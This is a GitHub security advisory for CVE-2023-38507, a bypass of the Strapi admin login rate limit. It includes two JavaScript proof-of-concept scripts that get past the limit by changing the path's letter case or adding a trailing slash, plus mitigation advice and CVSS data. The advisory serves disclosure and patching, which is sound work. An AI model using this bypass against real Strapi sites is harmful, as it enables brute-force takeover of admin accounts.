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Strapi Improper Rate Limiting vulnerability

High severity GitHub Reviewed Published Sep 13, 2023 in strapi/strapi • Updated Nov 11, 2023

Package

npm @strapi/admin (npm)

Affected versions

< 4.12.1

Patched versions

4.12.1
npm @strapi/plugin-users-permissions (npm)
< 4.12.1
4.12.1

Description

1. Summary

There is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it.

2. Details

It is possible to avoid this by modifying the rate-limited request path as follows.

  1. Manipulating request paths to upper or lower case. (Pattern 1)
    • In this case, avoidance is possible with various patterns.
  2. Add path slashes to the end of the request path. (Pattern 2)

3. PoC

Access the administrator's login screen (/admin/auth/login) and execute the following PoC on the browser's console screen.

Pattern 1 (uppercase and lowercase)

// poc.js
(async () => {
  const data1 = {
    email: "[email protected]",   // registered e-mail address
    password: "invalid_password",
  };
  const data2 = {
    email: "[email protected]",
    password: "RyG5z-CE2-]*4e4",   // correct password
  };

  for (let i = 0; i < 30; i++) {
    await fetch("http://localhost:1337/admin/login", {
      method: "POST",
      body: JSON.stringify(data1),
      headers: {
        "Content-Type": "application/json",
      },
    });
  }

  const res1 = await fetch("http://localhost:1337/admin/login", {
    method: "POST",
    body: JSON.stringify(data2),
    headers: {
      "Content-Type": "application/json",
    },
  });
  console.log(res1.status + " " + res1.statusText);

  const res2 = await fetch("http://localhost:1337/admin/Login", {  // capitalize part of path
    method: "POST",
    body: JSON.stringify(data2),
    headers: {
      "Content-Type": "application/json",
    },
  });
  console.log(res2.status + " " + res2.statusText);
})();
This PoC does the following:
  1. Request 30 incorrect logins.
  2. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (429 Too Many Requests)
  3. Next, falsify the pathname of the request (/admin/Login) and make a request again to confirm that it is possible to bypass the rate limit and log in. (200 OK)

Pattern 2 (trailing slash)

// poc.js
(async () => {
  const data1 = {
    email: "[email protected]",   // registered e-mail address
    password: "invalid_password",
  };
  const data2 = {
    email: "[email protected]",
    password: "RyG5z-CE2-]*4e4",   // correct password
  };

  for (let i = 0; i < 30; i++) {
    await fetch("http://localhost:1337/admin/login", {
      method: "POST",
      body: JSON.stringify(data1),
      headers: {
        "Content-Type": "application/json",
      },
    });
  }

  const res1 = await fetch("http://localhost:1337/admin/login", {
    method: "POST",
    body: JSON.stringify(data2),
    headers: {
      "Content-Type": "application/json",
    },
  });
  console.log(res1.status + " " + res1.statusText);

  const res2 = await fetch("http://localhost:1337/admin/login/", {  // trailing slash
    method: "POST",
    body: JSON.stringify(data2),
    headers: {
      "Content-Type": "application/json",
    },
  });
  console.log(res2.status + " " + res2.statusText);
})();
This PoC does the following:
  1. Request 30 incorrect logins.
  2. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (429 Too Many Requests)
  3. Next, falsify the pathname of the request (/admin/login/) and make a request again to confirm that it is possible to bypass the rate limit and log in. (200 OK)

PoC Video

4. Impact

It is possible to bypass the rate limit of the login function of the admin screen.
Therefore, the possibility of unauthorized login by login brute force attack increases.

5. Measures

Forcibly convert the request path used for rate limiting to upper case or lower case and judge it as the same path. (ctx.request.path)
Also, remove any extra slashes in the request path.

https://github.com/strapi/strapi/blob/32d68f1f5677ed9a9a505b718c182c0a3f885426/packages/core/admin/server/middlewares/rateLimit.js#L31

6. References

References

@alexandrebodin alexandrebodin published to strapi/strapi Sep 13, 2023
Published to the GitHub Advisory Database Sep 13, 2023
Reviewed Sep 13, 2023
Published by the National Vulnerability Database Sep 15, 2023
Last updated Nov 11, 2023

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

EPSS score

0.141%
(50th percentile)

Weaknesses

CVE ID

CVE-2023-38507

GHSA ID

GHSA-24q2-59hm-rh9r

Source code

Credits

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